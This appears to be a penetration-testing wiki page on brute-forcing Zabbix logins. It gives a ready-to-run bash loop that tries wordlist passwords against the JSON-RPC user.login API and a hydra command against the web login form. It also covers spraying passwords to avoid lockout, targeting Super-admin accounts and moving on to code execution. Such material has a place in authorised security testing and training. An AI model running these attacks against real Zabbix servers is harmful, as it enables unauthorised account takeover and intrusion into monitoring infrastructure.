Brute force

Zabbix validates credentials at the web login and the JSON-RPC API, both scriptable for online brute force. Older versions lack lockout, making guessing practical; newer ones add a configurable lockout. The API is the efficient target, returning a clear success token or an error per attempt, so a wordlist against a known account runs quickly.

1분 분량2026년 10월 7일 업데이트florianamette기여자 1명
어시스턴트에게 묻기 (MCP)GitHub에서 편집

Both the Zabbix web login (index.php) and the API (user.login) validate credentials and are scriptable, so online brute force is straightforward. The API is the cleaner target: each user.login returns either a session token (success) or a distinct error (failure), so a wordlist against a known account is easy to automate and parse. Older Zabbix versions apply no account lockout, making sustained guessing viable; newer versions added a configurable login-attempt lockout, so against those, spray a few likely passwords rather than brute-forcing one account. As always, a Super-admin hit is the goal because it leads to code execution.

bash
Z=https://<target>/zabbix/api_jsonrpc.php; H='Content-Type: application/json-rpc'
# brute one account via the API (parse for a token = success)
while read p; do
  r=$(curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"Admin","password":"'"$p"'"},"id":1}')
  echo "$r" | grep -q '"result"' && { echo "FOUND: $p"; break; }
done < wordlist.txt
# hydra against the web form is an alternative
hydra -l Admin -P wordlist.txt <target> https-post-form \
  "/zabbix/index.php:name=^USER^&password=^PASS^&enter=Sign+in:incorrect"

Exploitation notes#

  • The API's clear success/failure (token vs error) makes it the efficient brute-force surface; the web form works too but requires parsing the response for the failure string.
  • Check the version for lockout: older versions have none (brute force freely), newer ones lock after configurable failures (spray instead to avoid locking accounts).
  • Target the Super-admin account(s) identified in user enumeration; a non-admin hit is less valuable.
  • A recovered token/credential routes to enumeration of hosts/macros and to code execution.

Tools#

References#